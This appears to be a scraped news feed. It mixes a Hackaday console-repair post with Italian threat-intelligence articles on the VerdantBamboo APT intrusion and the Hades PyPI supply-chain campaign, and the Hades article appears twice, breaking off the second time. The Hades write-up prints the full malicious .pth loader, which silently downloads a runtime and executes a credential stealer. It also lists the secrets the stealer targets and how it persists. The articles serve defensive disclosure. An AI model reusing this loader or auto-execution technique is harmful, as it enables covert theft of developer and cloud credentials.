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A New Life For a Rare Console


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One of the delights of our tips line is that from time to time it brings us retrocomputing hardware that, despite years of reporting, we were not aware existed. [Hitmanmcc] has just such a machine, an NEC PC Engine LT. It’s a PC engine in a laptop form factor, and like many of this super-rare console, it has succumbed to capacitor failure. We’re treated to the process of bringing it back to life.

Replacing capacitors was only part of the story for this repair, as the electrolyte had caused damage elsewhere on the board. In particular there is a small transformer that forms part of an inverter to generate an LCD bias voltage, and this had been destroyed. Fortunately the art of switching power conversion has advanced in the decades since the console was produced, and a small module was procured to do the same job.

The result of all this surgery is another rare console rescued from e-waste, and an opportunity for the rest of us to take a look too. The PC engine is a relative rarity here, but we’ve had a few hacks over the years. This converter for its American cousin is one.


hackaday.com/2026/06/07/a-new-…

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I tuoi pacchetti Laravel sono già stati compromessi senza che tu lo sappia?

📌 Link all'articolo : redhotcyber.com/post/i-tuoi-pa…

A cura di Luigi Zullo

#redhotcyber #news #cybersecurity #hacking #malware #laravel #github #attacchinformatici

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VerdantBamboo (UNC5221): il gruppo APT cinese che resta invisibile per 18 mesi con tre backdoor inedite


@Informatica (Italy e non Italy)
Volexity ricostruisce un'intrusione durata 18 mesi da parte del gruppo APT cinese VerdantBamboo/UNC5221. Tre backdoor inedite — BRICKSTORM, PLENET e AGENTPSD — deployate su appliance senza EDR per bypassare le


VerdantBamboo (UNC5221): il gruppo APT cinese che resta invisibile per 18 mesi con tre backdoor inedite


Per diciotto mesi, il gruppo APT cinese VerdantBamboo ha vissuto nell’ombra delle reti di una grande organizzazione statunitense e del suo managed service provider, dispiegando tre famiglie di backdoor su appliance di rete prive di copertura EDR. La ricostruzione completa dell’incidente, pubblicata il 4 giugno 2026 dai ricercatori di Volexity, rivela un threat actor di straordinaria sofisticazione operativa, capace di reinfettare la rete vittima pochi giorni dopo la remediation.

Chi è VerdantBamboo (UNC5221 / WARP PANDA)


VerdantBamboo è il nome interno adottato da Volexity per il gruppo noto anche come UNC5221 (Mandiant) e WARP PANDA. Si tratta di un attore state-sponsored di origine cinese attivo almeno dal 2023, specializzato nello sfruttamento di zero-day su dispositivi di rete perimetrali: Ivanti Connect Secure, F5 BIG-IP, VMware vSphere e, in questo caso, appliance Linux proprietarie. Google Cloud Threat Intelligence e CISA hanno documentato più volte le sue campagne, con un filo conduttore costante: il deployment di BRICKSTORM su sistemi che non supportano agenti EDR, rendendo il rilevamento quasi impossibile con gli strumenti tradizionali.

Il vettore iniziale: Egnyte Storage Sync e una privilege escalation trascurata


In settembre 2025, Volexity viene coinvolta in un incident response dopo che un analista nota traffico anomalo proveniente da una macchina virtuale Linux con Egnyte Storage Sync. L’appliance, invece di connettersi ai server Egnyte, beacona verso un dominio controllato dall’attaccante nascosto dietro IP Cloudflare, e interroga 8.8.8.8 tramite DNS over HTTPS per evitare lookup DNS tracciabili.

L’ingresso iniziale è avvenuto attraverso credenziali SSH compromesse per l’account egnyteservice, il cui profilo sudo conteneva una misconfiguration critica: il comando tee era eseguibile come root, consentendo la scrittura arbitraria di file su tutto il filesystem. VerdantBamboo ha sfruttato questa escalation per scrivere un entry cron in /etc/cron.d/ssync, eseguire il backdoor BRICKSTORM posizionato in /usr/sbin/, e poi rimuovere il file cron per minimizzare le tracce. Il compromesso risaliva ad almeno 18 mesi prima della scoperta. Egnyte ha poi corretto la vulnerability nella versione Storage Sync v13.13.

La catena d’attacco: dall’MSP alla Microsoft 365


Una volta sul sistema Storage Sync, VerdantBamboo ha sfruttato le capacità proxy di BRICKSTORM per accedere all’ambiente Microsoft 365 della vittima attraverso gli IP del VPN SSL aziendale, bypassando così le Conditional Access Policy che avrebbero bloccato accessi da IP sconosciuti. L’obiettivo era mimetizzarsi nel traffico legittimo.

Parallelamente, l’MSP che gestiva il sistema era stato anch’esso compromesso. Volexity ha trovato sul firewall pfSense dell’MSP una variante FreeBSD di BRICKSTORM, offuscata con gobfuscate, con backdating della compromissione di almeno 18 mesi. Con ogni probabilità, l’attaccante si era introdotto nell’organizzazione vittima passando prima per l’MSP, rubando credenziali e dettagli infrastrutturali.

Il ritorno dopo la remediation: persistenza da manuale


Pochi giorni dopo che Volexity aveva completato le attività di contenimento — isolando il sistema Storage Sync e portando offline il VPN SSL — VerdantBamboo è tornato. Il firewall della vittima, ora esposto direttamente su Internet dopo la dismissione del vecchio VPN, era accessibile via interfaccia amministrativa web. Usando credenziali amministrative rubate (senza MFA), l’attaccante ha riconfigurato un VPN SSL sul firewall, si è riconnesso alla rete interna e ha deployato PLENET su un NAS Synology. Un secondo ciclo di remediation si è reso necessario.

Le tre backdoor: BRICKSTORM, PLENET e AGENTPSD


BRICKSTORM è il malware principale del gruppo, con varianti scritte in Golang (le più vecchie) e Rust. Il design è modulare: il namespace wssoft contiene protocol handler, task dispatcher e task extensions che il developer può personalizzare per ogni target. Nelle varianti analizzate, i task extension attivi sono tre: command (shell remota), socks (proxy SOCKS5) e web (accesso al filesystem). Il C2 usa WebSocket su HTTPS, con risoluzione DNS over HTTPS verso 8.8.8.8 per evitare query tracciabili.

PLENET (chiamato GRIMBOLT da Google Cloud) è un backdoor cross-platform scritto in .NET Core e compilato con Native AOT — una funzionalità introdotta in .NET 7 nel novembre 2022 che produce un binario nativo standalone con il runtime embedded. La scelta di Native AOT è deliberata: l’immaturity degli strumenti di analisi per questo formato complica notevolmente il reverse engineering. PLENET usa anch’esso WebSocket per il C2 e la libreria Nerdbank.Streams per multiplexing, richiamando lo stesso schema architetturale di BRICKSTORM. Capacità: shell interattiva, esecuzione remota di comandi, manipolazione file, switching del server C2.

AGENTPSD è una semplice reverse shell Python compilata con PyInstaller, configurata per connettersi a un dominio C2 diverso da quello usato da BRICKSTORM. Il suo ruolo è esclusivamente di fallback: se BRICKSTORM venisse rimosso o smettesse di funzionare, AGENTPSD garantirebbe un percorso di rientro alternativo. Significativamente, durante l’intero periodo dell’intrusione AGENTPSD non è mai stato utilizzato attivamente — BRICKSTORM era sempre disponibile.

L’infrastruttura C2 e la risposta alle investigazioni


Volexity ha sviluppato una fingerprint Censys per identificare i server C2 di BRICKSTORM: una risposta HTTP di lunghezza zero (Golang HTTP server), SSH su FreeBSD, certificato Cloudflare, massimo quattro servizi esposti. Questa firma ha consentito di mappare diversi server C2. Tuttavia, tra il 18 e il 23 settembre 2025, tutti i server che corrispondevano al pattern hanno disattivato i servizi sulla porta 443. Il 24 settembre Google ha pubblicato un nuovo report su BRICKSTORM. Volexity valuta con bassa confidenza che VerdantBamboo fosse consapevole di essere sotto investigazione e abbia volontariamente smantellato l’infrastruttura esposta.

Due righe per i difensori


Il caso VerdantBamboo mette in luce vulnerabilità sistemiche difficili da correggere con gli strumenti tradizionali. Le raccomandazioni chiave emerse dall’analisi di Volexity sono le seguenti: applicare MFA su tutti gli accessi amministrativi, inclusi VPN e interfacce di gestione dei firewall; monitorare il traffico verso DNS over HTTPS su endpoint non previsti; estendere il perimetro di monitoraggio alle appliance di rete (NAS, firewall, appliance cloud sync) che non supportano EDR, eventualmente tramite network security monitoring; verificare le configurazioni sudo su tutte le appliance Linux gestite; assicurarsi che i fornitori MSP applichino gli stessi standard di sicurezza dell’organizzazione committente.

Indicatori di Compromissione (IoC)

## AGENTPSD
# Nome file: egnyte_host_monitor_client
MD5:    98ee964edeb5a988c3bba8ea1e57fe0e
SHA1:   e952c18272efa1c3d73d0a5381bcf443c02743fe
SHA256: ee41e06ed96182ce80cd4544a6abd5d7719c4a5c0e5ddb266a83842d39b99b0a
## BRICKSTORM (Egnyte Storage Sync – Linux)
# Nome file: luserput
MD5:    58d4eccc982c9e9b1b98aa62c514e53a
SHA1:   f4d77958a12a0778283d3e679b24b18f82e332c4
SHA256: 40d264cf9c73923932c3dfd52d20f46ff602be3fea8dc6ecc71aca46e6067bf5
## BRICKSTORM (pfSense – FreeBSD, gobfuscated)
# Nome file: blacklist
MD5:    84ad78b2bab946c3677fdc28ebd8a774
SHA1:   681075027553546c119ec447eb8df84633dcffce
SHA256: f70abe93112637d3ec2f6c5e058ccac0307ebf63e496f38588cbfc17a8f8a264
## PLENET (aka GRIMBOLT, .NET Native AOT)
# Nome file: ovs-dbctl
MD5:    95dc2289427ed29b8b996d0e3d1b78cb
SHA1:   f8d93c1769e877aae7e7d5c289a467b5ae371c7a
SHA256: eb141a43958802727a6c813452450c10b92704bea4474ee5fd87c0a1be326e2e
## Censys fingerprint per C2 BRICKSTORM
host.service_count<=4 AND host.services:(banner_hash_sha256:"e28a96f983b8605decd2ac1db16ebad5fa741a6aa4e585a38ade0e5ad7d6cec0" AND port=443) AND host.services.cert.parsed.issuer.organization="CloudFlare, Inc." AND host.services:(port=22 AND software.vendor:openbsd)
## IoC completi (Volexity GitHub)
https://github.com/volexity/threat-intel/tree/main/2026/2026-06-04%20VerdantBamboo

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Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori


@Informatica (Italy e non Italy)
Socket Research Team ha scoperto 37 wheel artifact malevoli su 19 pacchetti PyPI, parte della campagna Hades — ramo evolutivo di Shai-Hulud/Miasma. Il vettore è un file *-setup.pth


Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori


Il team di ricerca di Socket ha identificato 37 wheel artifact malevoli distribuiti su 19 pacchetti PyPI, parte di una campagna di supply chain attack denominata “Hades” — un ramo evolutivo della nota famiglia Shai-Hulud/Miasma. Il vettore è sofisticato: un file *-setup.pth iniettato nei pacchetti scarica silenziosamente il runtime JavaScript Bun ed esegue uno stealer multi-target che colpisce sviluppatori, pipeline CI/CD e credenziali cloud.

La famiglia Shai-Hulud/Miasma: un attore in continua evoluzione


Shai-Hulud e Miasma non sono nomi nuovi nell’ecosistema del threat intelligence. La famiglia è attiva da mesi e ha già colpito pacchetti npm gestiti da Red Hat Cloud Services (giugno 2026), pacchetti Packagist tramite la campagna Famous Chollima (Corea del Nord), e ora approda su PyPI con una variante battezzata “Hades”. Il modus operandi rimane invariato nel core: abuso dei canali di distribuzione di fiducia, esecuzione prima che il codice legittimo venga invocato, payload JavaScript offuscato eseguito tramite il runtime Bun, esfiltrazione verso GitHub.

La scoperta è stata segnalata inizialmente dall’incident responder boredchilada su Bluesky, che ha taggato Socket poco dopo la pubblicazione dei pacchetti compromessi. La deobfuscation di _index.js ha confermato l’attribuzione alla stessa famiglia, rivelando però un cambio tematico: invece dei riferimenti a Zelda usati in campagne Miasma precedenti, questa ondata usa elementi mitologici greci — con marker GitHub come Hades - The End for the Damned e nomi di repository generati da componenti come stygian, tartarean, cerberus, charon, styx.

Il meccanismo di infezione: il file .pth come primitiva di esecuzione automatica


L’elemento tecnico più critico di questa campagna è lo sfruttamento dei file .pth di Python — un vettore raramente usato in attacchi su larga scala. Il modulo site di CPython processa automaticamente questi file all’avvio dell’interprete: le righe che iniziano con import vengono eseguite, indipendentemente dal fatto che il pacchetto compromesso venga mai importato dall’applicazione target.

Questo significa che l’installazione di un pacchetto infetto trasforma qualsiasi successiva invocazione di Python — un test, una pipeline CI, un notebook Jupyter, o semplicemente un pip install — in un trigger di esecuzione del codice malevolo. Il loader estratto dai wheel esegue questa sequenza:

  • Verifica la presenza del sentinel /tmp/.bun_ran per evitare esecuzioni ripetute
  • Localizza il payload _index.js nella directory del pacchetto
  • Scarica il runtime Bun v1.3.13 da GitHub se non già presente in /tmp/b/bun
  • Esegue bun run _index.js e scrive il sentinel


# Loader estratto dal *-setup.pth (forma normalizzata)
import glob, os, platform, subprocess, sys, tempfile, urllib.request, zipfile
sentinel = os.path.join(tempfile.gettempdir(), ".bun_ran")
if not os.path.exists(sentinel):
    base = os.path.dirname(__file__)
    payload = os.path.join(base, "_index.js")
    if not os.path.exists(payload):
        candidates = glob.glob(os.path.join(base, "*", "_index.js"))
        payload = candidates[0] if candidates else ""
    bun = os.path.join(tempfile.gettempdir(), "b", "bun")
    if not os.path.exists(bun):
        arch = "aarch64" if platform.machine() == "arm64" else "x64"
        os_name = {"linux":"linux","darwin":"darwin","win32":"windows"}.get(sys.platform,"linux")
        zip_path = os.path.join(tempfile.gettempdir(), "b.zip")
        urllib.request.urlretrieve(
            f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os_name}-{arch}.zip",
            zip_path)
        zipfile.ZipFile(zip_path).extract(os.path.basename(bun), os.path.dirname(bun))
        os.chmod(bun, 0o775)
    subprocess.run([bun, "run", payload], check=False)
    open(sentinel, "w").close()

Payload deobfuscation: quattro strati di protezione


Il file _index.js è protetto da quattro strati di offuscamento progressivo: un wrapper try { eval(...) } che decodifica un array di char-code con sostituzione ROT-style; uno stage AES-GCM che decripta due blob embedded e scrive il payload principale in /tmp/p*.js; un bootstrapper Bun che gestisce il download del runtime; infine il payload principale, con rotated string table, decoder PBKDF2/SHA256 e un ulteriore strato AES-256-GCM con gzip.

Una volta deoffuscato, il payload è un credential stealer ad ampio spettro ottimizzato per ambienti di sviluppo: token GitHub (inclusi ghs_* e GitHub Actions runner secrets), npm, PyPI, RubyGems, JFrog, CircleCI, Anthropic. Sul fronte cloud: AWS credentials, STS, SSM Parameter Store, Secrets Manager; GCP Secret Manager; Azure Key Vault; Kubernetes service-account tokens; HashiCorp Vault. Vengono inoltre esfiltrate chiavi SSH, Docker configs, shell histories, file .env, .npmrc, .pypirc, configurazioni Claude/MCP e dati wallet.

Esfiltrazione via GitHub: camouflage su Anthropic API


Il payload include due percorsi di esfiltrazione. Il primo — apparentemente verso api.anthropic.com/v1/api — è di fatto un meccanismo di camouflage di rete: la route non esiste sui server Anthropic (restituisce 404), ma il traffico verso questo host ubiquo confonde i SIEM e rende difficile il blocco automatico. Il canale reale è GitHub: il payload crea repository pubblici con POST /user/repos, vi esegue commit di dati esfiltrati sotto path results/results-<timestamp>-<counter>.json, e può abusare di GitHub Actions per caricare artifact denominati format-results.

Il payload include anche meccanismi di persistenza post-compromissione: installa gh-token-monitor.sh come servizio systemd su Linux o LaunchAgent su macOS, e deposita file .claude/setup.mjs e .github/setup.js — estendendo il vettore di attacco agli ambienti di AI-assisted coding e workflow CI.

I pacchetti compromessi


I 37 artifact colpiscono 19 pacchetti riconducibili a un singolo account maintainer compromesso. I pacchetti ad alto impatto includono dynamo-release (framework per RNA-velocity single-cell), spateo-release (analisi trascrittomica spaziale), coolbox (toolkit Jupyter per genomica Hi-C/ChIP-Seq), e i tool ufish/napari-ufish per deep-learning. I download cumulativi di questi pacchetti si misurano in centinaia di migliaia. Il totale degli artifact compromessi monitorati da Socket attraverso npm e PyPI raggiunge 448.

Indicatori di Compromissione (IoC)

## Pacchetti PyPI compromessi (selezione)
bramin@0.0.2, @0.0.3, @0.0.4
cmd2func@0.2.2, @0.2.3
coolbox@0.4.1, @0.4.2
dynamo-release@1.5.4
executor-engine@0.3.4, @0.3.5
executor-http@0.1.3, @0.1.4
napari-ufish@0.0.2, @0.0.3
spateo-release@1.1.2
ufish@0.1.2, @0.1.3
uprobe@0.1.3, @0.1.4
## File malevoli
*-setup.pth
_index.js
## Hash SHA256
c539766062555d47716f8432e73adbe3a0c0c954a0b6c4005017a668975e275c
dc48b09b2a5954f7ff79ab8a2fd80202bd3b59c08c7cdbc6025aa923cb4c0efe
## Path filesystem
/tmp/.bun_ran
/tmp/b.zip  |  /tmp/b/bun
~/.config/gh-token-monitor/
~/.local/bin/gh-token-monitor.sh
~/.config/systemd/user/gh-token-monitor.service
~/Library/LaunchAgents/com.github.token-monitor.plist
## Network
hxxps://github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/
hxxps://api[.]anthropic[.]com/v1/api  (camouflage - non funzionale)
## Marker GitHub esfiltrazione
Repository description: "Hades - The End for the Damned"
Commit marker: "IfYouYankThisTokenItWillNukeTheComputerOfTheOwnerFully"
Workflow name: "Run Copilot"
Artifact name: "format-results"
Path pattern: results/results-*.json

Due righe per i difensori


Chi ha installato versioni compromesse deve rimuovere i pacchetti, ricostruire gli environment e ruotare immediatamente tutte le credenziali accessibili: token GitHub/GitHub Actions, chiavi PyPI/npm/RubyGems, credenziali AWS/GCP/Azure/Kubernetes, token CircleCI e HashiCorp Vault, chiavi SSH e Docker credentials. A livello di detection statica, qualsiasi wheel PyPI contenente un file .pth eseguibile con download di runtime remoti e subprocess execution va trattato come alto rischio. A runtime, monitorare la catena python -> bun -> _index.js e connessioni verso github.com/oven-sh/bun/releases/download/. Sul fronte GitHub, ricercare negli organization log i marker Hades sopra elencati.

Fonte principale: Socket Research Team — socket.dev/blog/shai-hulud-descends-to-hades-miasma-pypi-wave


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Some new actively exploited bugs:

-Cisco SD-WAN (still zero-day): sec.cloudapps.cisco.com/securi…

-SolarWinds Serv-U: cisa.gov/news-events/alerts/20…

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Zcash had a bug that could have allowed attackers to mint fake money

-impacted blockchain protocols for the past 4 years
-was patched last week
-no signs of exploitation
-Zcash value still fell by 40%

coindesk.com/markets/2026/06/0…

shieldedlabs.net/the-orchard-c…

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VerdantBamboo (UNC5221): il gruppo APT cinese che resta invisibile per 18 mesi con tre backdoor inedite


Volexity ricostruisce un'intrusione durata 18 mesi da parte del gruppo APT cinese VerdantBamboo/UNC5221. Tre backdoor inedite — BRICKSTORM, PLENET e AGENTPSD — deployate su appliance senza EDR per bypassare le Conditional Access Policy di Microsoft 365. Il gruppo è tornato pochi giorni dopo la remediation.
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Per diciotto mesi, il gruppo APT cinese VerdantBamboo ha vissuto nell’ombra delle reti di una grande organizzazione statunitense e del suo managed service provider, dispiegando tre famiglie di backdoor su appliance di rete prive di copertura EDR. La ricostruzione completa dell’incidente, pubblicata il 4 giugno 2026 dai ricercatori di Volexity, rivela un threat actor di straordinaria sofisticazione operativa, capace di reinfettare la rete vittima pochi giorni dopo la remediation.

Chi è VerdantBamboo (UNC5221 / WARP PANDA)


VerdantBamboo è il nome interno adottato da Volexity per il gruppo noto anche come UNC5221 (Mandiant) e WARP PANDA. Si tratta di un attore state-sponsored di origine cinese attivo almeno dal 2023, specializzato nello sfruttamento di zero-day su dispositivi di rete perimetrali: Ivanti Connect Secure, F5 BIG-IP, VMware vSphere e, in questo caso, appliance Linux proprietarie. Google Cloud Threat Intelligence e CISA hanno documentato più volte le sue campagne, con un filo conduttore costante: il deployment di BRICKSTORM su sistemi che non supportano agenti EDR, rendendo il rilevamento quasi impossibile con gli strumenti tradizionali.

Il vettore iniziale: Egnyte Storage Sync e una privilege escalation trascurata


In settembre 2025, Volexity viene coinvolta in un incident response dopo che un analista nota traffico anomalo proveniente da una macchina virtuale Linux con Egnyte Storage Sync. L’appliance, invece di connettersi ai server Egnyte, beacona verso un dominio controllato dall’attaccante nascosto dietro IP Cloudflare, e interroga 8.8.8.8 tramite DNS over HTTPS per evitare lookup DNS tracciabili.

L’ingresso iniziale è avvenuto attraverso credenziali SSH compromesse per l’account egnyteservice, il cui profilo sudo conteneva una misconfiguration critica: il comando tee era eseguibile come root, consentendo la scrittura arbitraria di file su tutto il filesystem. VerdantBamboo ha sfruttato questa escalation per scrivere un entry cron in /etc/cron.d/ssync, eseguire il backdoor BRICKSTORM posizionato in /usr/sbin/, e poi rimuovere il file cron per minimizzare le tracce. Il compromesso risaliva ad almeno 18 mesi prima della scoperta. Egnyte ha poi corretto la vulnerability nella versione Storage Sync v13.13.

La catena d’attacco: dall’MSP alla Microsoft 365


Una volta sul sistema Storage Sync, VerdantBamboo ha sfruttato le capacità proxy di BRICKSTORM per accedere all’ambiente Microsoft 365 della vittima attraverso gli IP del VPN SSL aziendale, bypassando così le Conditional Access Policy che avrebbero bloccato accessi da IP sconosciuti. L’obiettivo era mimetizzarsi nel traffico legittimo.

Parallelamente, l’MSP che gestiva il sistema era stato anch’esso compromesso. Volexity ha trovato sul firewall pfSense dell’MSP una variante FreeBSD di BRICKSTORM, offuscata con gobfuscate, con backdating della compromissione di almeno 18 mesi. Con ogni probabilità, l’attaccante si era introdotto nell’organizzazione vittima passando prima per l’MSP, rubando credenziali e dettagli infrastrutturali.

Il ritorno dopo la remediation: persistenza da manuale


Pochi giorni dopo che Volexity aveva completato le attività di contenimento — isolando il sistema Storage Sync e portando offline il VPN SSL — VerdantBamboo è tornato. Il firewall della vittima, ora esposto direttamente su Internet dopo la dismissione del vecchio VPN, era accessibile via interfaccia amministrativa web. Usando credenziali amministrative rubate (senza MFA), l’attaccante ha riconfigurato un VPN SSL sul firewall, si è riconnesso alla rete interna e ha deployato PLENET su un NAS Synology. Un secondo ciclo di remediation si è reso necessario.

Le tre backdoor: BRICKSTORM, PLENET e AGENTPSD


BRICKSTORM è il malware principale del gruppo, con varianti scritte in Golang (le più vecchie) e Rust. Il design è modulare: il namespace wssoft contiene protocol handler, task dispatcher e task extensions che il developer può personalizzare per ogni target. Nelle varianti analizzate, i task extension attivi sono tre: command (shell remota), socks (proxy SOCKS5) e web (accesso al filesystem). Il C2 usa WebSocket su HTTPS, con risoluzione DNS over HTTPS verso 8.8.8.8 per evitare query tracciabili.

PLENET (chiamato GRIMBOLT da Google Cloud) è un backdoor cross-platform scritto in .NET Core e compilato con Native AOT — una funzionalità introdotta in .NET 7 nel novembre 2022 che produce un binario nativo standalone con il runtime embedded. La scelta di Native AOT è deliberata: l’immaturity degli strumenti di analisi per questo formato complica notevolmente il reverse engineering. PLENET usa anch’esso WebSocket per il C2 e la libreria Nerdbank.Streams per multiplexing, richiamando lo stesso schema architetturale di BRICKSTORM. Capacità: shell interattiva, esecuzione remota di comandi, manipolazione file, switching del server C2.

AGENTPSD è una semplice reverse shell Python compilata con PyInstaller, configurata per connettersi a un dominio C2 diverso da quello usato da BRICKSTORM. Il suo ruolo è esclusivamente di fallback: se BRICKSTORM venisse rimosso o smettesse di funzionare, AGENTPSD garantirebbe un percorso di rientro alternativo. Significativamente, durante l’intero periodo dell’intrusione AGENTPSD non è mai stato utilizzato attivamente — BRICKSTORM era sempre disponibile.

L’infrastruttura C2 e la risposta alle investigazioni


Volexity ha sviluppato una fingerprint Censys per identificare i server C2 di BRICKSTORM: una risposta HTTP di lunghezza zero (Golang HTTP server), SSH su FreeBSD, certificato Cloudflare, massimo quattro servizi esposti. Questa firma ha consentito di mappare diversi server C2. Tuttavia, tra il 18 e il 23 settembre 2025, tutti i server che corrispondevano al pattern hanno disattivato i servizi sulla porta 443. Il 24 settembre Google ha pubblicato un nuovo report su BRICKSTORM. Volexity valuta con bassa confidenza che VerdantBamboo fosse consapevole di essere sotto investigazione e abbia volontariamente smantellato l’infrastruttura esposta.

Due righe per i difensori


Il caso VerdantBamboo mette in luce vulnerabilità sistemiche difficili da correggere con gli strumenti tradizionali. Le raccomandazioni chiave emerse dall’analisi di Volexity sono le seguenti: applicare MFA su tutti gli accessi amministrativi, inclusi VPN e interfacce di gestione dei firewall; monitorare il traffico verso DNS over HTTPS su endpoint non previsti; estendere il perimetro di monitoraggio alle appliance di rete (NAS, firewall, appliance cloud sync) che non supportano EDR, eventualmente tramite network security monitoring; verificare le configurazioni sudo su tutte le appliance Linux gestite; assicurarsi che i fornitori MSP applichino gli stessi standard di sicurezza dell’organizzazione committente.

Indicatori di Compromissione (IoC)

## AGENTPSD
# Nome file: egnyte_host_monitor_client
MD5:    98ee964edeb5a988c3bba8ea1e57fe0e
SHA1:   e952c18272efa1c3d73d0a5381bcf443c02743fe
SHA256: ee41e06ed96182ce80cd4544a6abd5d7719c4a5c0e5ddb266a83842d39b99b0a
## BRICKSTORM (Egnyte Storage Sync – Linux)
# Nome file: luserput
MD5:    58d4eccc982c9e9b1b98aa62c514e53a
SHA1:   f4d77958a12a0778283d3e679b24b18f82e332c4
SHA256: 40d264cf9c73923932c3dfd52d20f46ff602be3fea8dc6ecc71aca46e6067bf5
## BRICKSTORM (pfSense – FreeBSD, gobfuscated)
# Nome file: blacklist
MD5:    84ad78b2bab946c3677fdc28ebd8a774
SHA1:   681075027553546c119ec447eb8df84633dcffce
SHA256: f70abe93112637d3ec2f6c5e058ccac0307ebf63e496f38588cbfc17a8f8a264
## PLENET (aka GRIMBOLT, .NET Native AOT)
# Nome file: ovs-dbctl
MD5:    95dc2289427ed29b8b996d0e3d1b78cb
SHA1:   f8d93c1769e877aae7e7d5c289a467b5ae371c7a
SHA256: eb141a43958802727a6c813452450c10b92704bea4474ee5fd87c0a1be326e2e
## Censys fingerprint per C2 BRICKSTORM
host.service_count<=4 AND host.services:(banner_hash_sha256:"e28a96f983b8605decd2ac1db16ebad5fa741a6aa4e585a38ade0e5ad7d6cec0" AND port=443) AND host.services.cert.parsed.issuer.organization="CloudFlare, Inc." AND host.services:(port=22 AND software.vendor:openbsd)
## IoC completi (Volexity GitHub)
https://github.com/volexity/threat-intel/tree/main/2026/2026-06-04%20VerdantBamboo

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Campagna Hades colpisce PyPI: 37 pacchetti malevoli della famiglia Shai-Hulud/Miasma rubano credenziali sviluppatori


Socket Research Team ha scoperto 37 wheel artifact malevoli su 19 pacchetti PyPI, parte della campagna Hades — ramo evolutivo di Shai-Hulud/Miasma. Il vettore è un file *-setup.pth che esegue silenziosamente uno stealer basato su Bun JavaScript runtime, colpendo credenziali di sviluppatori, pipeline CI/CD e ambienti cloud (AWS, GCP, Azure, GitHub, Kubernetes).
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Il team di ricerca di Socket ha identificato 37 wheel artifact malevoli distribuiti su 19 pacchetti PyPI, parte di una campagna di supply chain attack denominata “Hades” — un ramo evolutivo della nota famiglia Shai-Hulud/Miasma. Il vettore è sofisticato: un file *-setup.pth iniettato nei pacchetti scarica silenziosamente il runtime JavaScript Bun ed esegue uno stealer multi-target che colpisce sviluppatori, pipeline CI/CD e credenziali cloud.

La famiglia Shai-Hulud/Miasma: un attore in continua evoluzione


Shai-Hulud e Miasma non sono nomi nuovi nell’ecosistema del threat intelligence. La famiglia è attiva da mesi e ha già colpito pacchetti npm gestiti da Red Hat Cloud Services (giugno 2026), pacchetti Packagist tramite la campagna Famous Chollima (Corea del Nord), e ora approda su PyPI con una variante battezzata “Hades”. Il modus operandi rimane invariato nel core: abuso dei canali di distribuzione di fiducia, esecuzione prima che il codice legittimo venga invocato, payload JavaScript offuscato eseguito tramite il runtime Bun, esfiltrazione verso GitHub.

La scoperta è stata segnalata inizialmente dall’incident responder boredchilada su Bluesky, che ha taggato Socket poco dopo la pubblicazione dei pacchetti compromessi. La deobfuscation di _index.js ha confermato l’attribuzione alla stessa famiglia, rivelando però un cambio tematico: invece dei riferimenti a Zelda usati in campagne Miasma precedenti, questa ondata usa elementi mitologici greci — con marker GitHub come Hades - The End for the Damned e nomi di repository generati da componenti come stygian, tartarean, cerberus, charon, styx.

Il meccanismo di infezione: il file .pth come primitiva di esecuzione automatica


L’elemento tecnico più critico di questa campagna è lo sfruttamento dei file .pth di Python — un vettore raramente usato in attacchi su larga scala. Il modulo site di CPython processa automaticamente questi file all’avvio dell’interprete: le righe che iniziano con import vengono eseguite, indipendentemente dal fatto che il pacchetto compromesso venga mai importato dall’applicazione target.

Questo significa che l’installazione di un pacchetto infetto trasforma qualsiasi successiva invocazione di Python — un test, una pipeline CI, un notebook Jupyter, o semplicemente un pip install — in un trigger di esecuzione del codice malevolo. Il loader estratto dai wheel esegue questa sequenza:

  • Verifica la presenza del sentinel /tmp/.bun_ran per evitare esecuzioni ripetute
  • Localizza il payload _index.js nella directory del pacchetto
  • Scarica il runtime Bun v1.3.13 da GitHub se non già presente in /tmp/b/bun
  • Esegue bun run _index.js e scrive il sentinel


# Loader estratto dal *-setup.pth (forma normalizzata)
import glob, os, platform, subprocess, sys, tempfile, urllib.request, zipfile
sentinel = os.path.join(tempfile.gettempdir(), ".bun_ran")
if not os.path.exists(sentinel):
    base = os.path.dirname(__file__)
    payload = os.path.join(base, "_index.js")
    if not os.path.exists(payload):
        candidates = glob.glob(os.path.join(base, "*", "_index.js"))
        payload = candidates[0] if candidates else ""
    bun = os.path.join(tempfile.gettempdir(), "b", "bun")
    if not os.path.exists(bun):
        arch = "aarch64" if platform.machine() == "arm64" else "x64"
        os_name = {"linux":"linux","darwin":"darwin","win32":"windows"}.get(sys.platform,"linux")
        zip_path = os.path.join(tempfile.gettempdir(), "b.zip")
        urllib.request.urlretrieve(
            f"https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os_name}-{arch}.zip",
            zip_path)
        zipfile.ZipFile(zip_path).extract(os.path.basename(bun), os.path.dirname(bun))
        os.chmod(bun, 0o775)
    subprocess.run([bun, "run", payload], check=False)
    open(sentinel, "w").close()

Payload deobfuscation: quattro strati di protezione


Il file _index.js è protetto da quattro strati di offuscamento progressivo: un wrapper try { eval(...) } che decodifica un array di char-code con sostituzione ROT-style; uno stage AES-GCM che decripta due blob embedded e scrive il payload principale in /tmp/p*.js; un bootstrapper Bun che gestisce il download del runtime; infine il payload principale, con rotated string table, decoder PBKDF2/SHA256 e un ulteriore strato AES-256-GCM con gzip.

Una volta deoffuscato, il payload è un credential stealer ad ampio spettro ottimizzato per ambienti di sviluppo: token GitHub (inclusi ghs_* e GitHub Actions runner secrets), npm, PyPI, RubyGems, JFrog, CircleCI, Anthropic. Sul fronte cloud: AWS credentials, STS, SSM Parameter Store, Secrets Manager; GCP Secret Manager; Azure Key Vault; Kubernetes service-account tokens; HashiCorp Vault. Vengono inoltre esfiltrate chiavi SSH, Docker configs, shell histories, file .env, .npmrc, .pypirc, configurazioni Claude/MCP e dati wallet.

Esfiltrazione via GitHub: camouflage su Anthropic API


